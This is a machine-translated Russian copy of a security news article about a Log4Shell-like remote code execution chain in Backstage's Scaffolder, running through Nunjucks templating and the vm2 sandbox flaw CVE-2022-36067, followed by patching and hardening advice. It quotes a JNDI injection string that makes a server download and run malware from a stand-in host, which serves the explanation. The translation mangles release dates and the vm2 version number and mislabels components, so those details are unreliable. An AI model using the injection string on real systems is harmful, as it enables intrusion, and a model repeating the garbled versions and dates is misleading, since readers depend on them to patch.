Дыра в выполнении кода, похожая на Log4Shell, в популярном инструменте разработки Backstage PlatoBlockchain Data Intelligence. Вертикальный поиск. Ай.

Дыра выполнения кода, похожая на Log4Shell, в популярном инструменте разработки Backstage

Исследователи из компании Oxeye, занимающейся безопасностью облачного кодирования, описали критическую ошибку, которую они недавно обнаружили в популярном наборе инструментов для облачной разработки Backstage.

Их отчету включает объяснение того, как работает ошибка, а также код проверки концепции (PoC), показывающий, как ее использовать.

Backstage — это то, что известно как облачный портал для разработчиков — своего рода серверная часть бизнес-логики, которая упрощает создание веб-API (интерфейсов прикладного программирования), позволяющих программистам внутри и за пределами вашего бизнеса взаимодействовать с вашими онлайн-сервисами.

По словам самого проекта, изначально созданного в Spotify, но теперь открытым исходным кодом на Гутхабе:

Backstage — это открытая платформа для создания порталов для разработчиков. Благодаря централизованному каталогу программного обеспечения Backstage наводит порядок в ваших микросервисах и инфраструктуре и позволяет вашим продуктовым группам быстро выпускать высококачественный код без ущерба для автономности.

Backstage объединяет все ваши инфраструктурные инструменты, сервисы и документацию для создания оптимизированной среды разработки от начала до конца.

Нет, мы на самом деле тоже не знаем, что это значит, но мы знаем, что инструментарий написан на JavaScript, работает с использованием системы JavaScript на стороне сервера. node.js, и создает сеть зависимостей цепочки поставок от экосистемы NPM.

НПМ — это сокращение от Диспетчер пакетов узлов, автоматизированный набор инструментов, гарантирующий, что ваш внутренний код JavaScript может легко использовать широкий спектр библиотек с открытым исходным кодом, которые предоставляют популярные, предварительно написанные вспомогательные инструменты для всего, от криптографии и управления базами данных до ведения журналов и контроля версий.

Удаленное выполнение кода

К сожалению, обнаруженная сегодня ошибка, если ее не исправить, может дать неавторизованным посторонним (грубо говоря, любому, кто может устанавливать API-соединения с вашими серверами) способ инициировать удаленное выполнение кода (RCE) внутри серверов бизнес-логики в вашей сети.

К счастью, однако, если мы правильно интерпретировали запись Oxeye, атака, которую они описывают для своего Backstage RCE, зависит от последовательности ошибок в коде, которые в конечном итоге зависят от конкретной ошибки, обозначенной как CVE-2022-36067 в компоненте цепочки поставок, на который опирается Backstage, который называется vm2.

Если вам интересно, vm2 — это модуль NPM общего назначения, который реализует «песочницу виртуальной машины», целью которой является сделать потенциально опасный JavaScript немного более безопасным для запуска на ваших серверах.

Эта ошибка CVE-2022-36067 в vm2 была переправу еще в августе 2022 года самим Oxeye (который дал ему удобное для пиара название «Sandbreak», потому что он вырвался из песочницы), и исправлено быстро командой vm2 почти три месяца назад.

Итак, насколько мы видим, если вы являетесь пользователем Backstage, вам нужно убедиться, что вы исправили все уязвимые компоненты в своей настройке Backstage…

… но если вы пропатчили компонент vm2, который был уязвим для Sandbreak все эти месяцы назад, то, похоже, вы не уязвимы напрямую для эксплойта, описанного в последнем разоблачении Oxeye.

Кроме того, если ваши серверы Backstage настроены в соответствии с рекомендациями по кибербезопасности, с аутентификацией, требуемой как на границе сети, так и внутри сети, вы не будете подвергаться риску случайных запросов «только в исследовательских целях» от «полезных» лиц, определенных чтобы показать, что они заинтересованы в «исследовании» киберугроз.

Атака «сыр Эмменталь»

Проще говоря, недавно обнаруженные проблемы с безопасностью являются побочным эффектом ряда проблем с безопасностью, таких как дыры в ломтиках сыра Эмменталь, которые могут быть проникнуты последовательно, если злоумышленник сможет выровнять хотя бы одну дыру на каждом ломтике.

Насколько мы понимаем, Backstage включает компонент под названием Scaffolder, который, как следует из названия, помогает вам управлять различными надстройками (известными как плагины), которые могут потребоваться вашему сообществу разработчиков.

Scaffolder, в свою очередь, использует систему регистрации сообщений от Mozilla, известную как Nunjucks, которая включает в себя то, что известно как создание шаблонов строк in node.js круги, как интерполяция строк в мире Java, и как подстановка строк системным администраторам, которые используют командные оболочки, такие как Bash.

Если струнная интерполяция звонит в колокольчик, то это, вероятно, потому, что она лежала в основе Журнал4Shell уязвимость еще в декабре 2021 года, и Follina ошибка в середине 2022 года.

Здесь вы можете переписать содержимое сообщения журнала на основе специальных «символов кодирования» в шаблоне строки, чтобы строка, такая как $USER может быть заменено именем учетной записи, используемым сервером, или ${PID} может получить текущий идентификатор процесса.

В крайнем случае Log4Shell любопытно выглядящее заклинание ${jndi:ldap://example.com:8888/malware} может напрямую заставить сервер загрузить программу под названием malware от example.com и молча запустить его в фоновом режиме.

Другими словами, вы должны быть абсолютно уверены, что данные, поступающие из ненадежного источника, например, от внешнего пользователя, никогда не передаются вслепую в функцию шаблона строки или интерполяции строки для использования. как сам текст шаблона.

Если удаленный пользователь, например, пытается обмануть ваш сервер, указав свое имя пользователя как ${{RISKY}} (при условии, что библиотека шаблонов использует ${{...}} в качестве специального маркера), вам нужно убедиться, что ваш код ведения журнала правильно записывает этот непослушный текст буквально в том виде, в котором он был получен…

… вместо того, чтобы позволять записываемому тексту контролировать саму функцию регистрации!

Говоря словами старого детского стишка, вам нужно убедиться, что вы не запоете: «В моем сердце дырка». ${{BUCKET}}, дорогая Лиза, дорогая Лиза, у меня дырка в ${{BUCKET}}, дорогая Лиза. Дыра!"

Завернутый в безопасное одеяло

Справедливости ради следует отметить, что возможно слишком мощная функциональность шаблонов/интерполяции Nunjucks заключена Backstage в еще один компонент цепочки поставок, а именно в вышеупомянутую систему-песочницу vm2, которая должна ограничить опасность, которую злоумышленник может совершить с помощью мины. -захваченные входные данные.

К сожалению, исследователи Oxeye смогли соединить свои недавно обнаруженные пути запуска кода шаблонов строк в Backstage + Scaffolder + Nunjucks со старой уязвимостью CVE-2022-36067 в оболочке безопасности vm2, чтобы добиться потенциального удаленного выполнения кода на сервере Backstage. .

Что делать?

Если вы являетесь пользователем Backstage:

  • Убедитесь, что у вас установлены последние версии Backstage и его зависимостей, в том числе plugin-scaffolder-backend составная часть. Согласно Oxeye, соответствующие ошибки в коде Backstage были исправлены к 01 сентября 2022 года, так что любой официальный точечный выпуск после этих данных должен включать исправления. На момент написания статьи [2022-11-1T16:00Z] сюда входят Backstage. 1.6.0, 1.7.0 и 1.8.0, выпущенные 2022 сентября 09 г., 21 октября 2022 г. и 10 ноября 18 г. соответственно.
  • Убедитесь, что в вашей установке Backstage настроена проверка подлинности, как вы ожидаете. Oxeye утверждает, что аутентификация отключена по умолчанию, и что после выполнения Рекомендации за кулисами, внутренние серверы (которые, вероятно, в любом случае не должны открываться извне) по-прежнему разрешали доступ без аутентификации. Это может быть то, что вы хотите, но мы рекомендуем использовать эту проблему в качестве причины, чтобы проверить, соответствуют ли ваши настройки вашим намерениям.
  • Проверьте, к каким частям вашей инфраструктуры Backstage можно получить доступ из Интернета. Еще раз, используйте эту проблему как повод для сканирования собственной сети извне, если вы не делали этого в последнее время.

Если вы являетесь пользователем node.js/NPM:

  • Убедитесь, что у вас установлена ​​последняя версия компонента песочницы vm2. Вы можете установить это как зависимость от другого программного обеспечения, которое вы используете, даже если у вас нет Backstage. Уязвимость CVE-2022-36067 была исправлена ​​2022 августа 08 г., поэтому вам нужна версия vm28. 3.9.11 или позже.

Если вы программист:

  • Будьте максимально защищены при вызове мощных функций ведения журнала. Если вы используете службу ведения журналов (включая Nunjucks или Log4J), которая включает мощные функции шаблонов/интерполяции, отключите все функции, которые вам не нужны, чтобы их нельзя было использовать по ошибке. Убедитесь, что ненадежный ввод сам по себе никогда не используется в качестве шаблона, что не позволяет злоумышленникам создавать свои собственные непосредственно опасные входные строки.
  • Независимо от каких-либо других мер предосторожности, дезинфицируйте входы и выходы журналов. Помните, что кому-то еще нужно будет открыть ваши файлы журналов в будущем. Не допускайте, чтобы какие-либо непреднамеренные мины-ловушки записывались в ваш файл журнала, где они могут впоследствии вызвать проблемы, такие как фрагменты HTML с оставленными тегами сценария. (Кто-то может открыть файл в браузере по ошибке.)

Даже когда вы получаете входные данные из надежного источника, вряд ли есть причина не проверять их самостоятельно перед использованием.

(Иногда вы можете обосновать исключение, например, по соображениям производительности, но оно должно быть исключением, а не правилом.)

Во-первых, повторная проверка помогает обнаружить ошибки, которые могли быть добросовестно допущены предыдущими кодировщиками; во-вторых, это помогает ограничить распространение плохих или заминированных данных, если какая-то другая часть вашей экосистемы будет скомпрометирована.

Дело в том, что кусочки сыра Эмменталь, о которых мы упоминали ранее, хотя и проницаемы, если на каждом листе выстраивается хотя бы одна дырочка…

… они непроницаемы, если есть хотя бы один лист с отверстиями, которые вообще не совпадают!


Отметка времени:

Больше от Голая Безопасность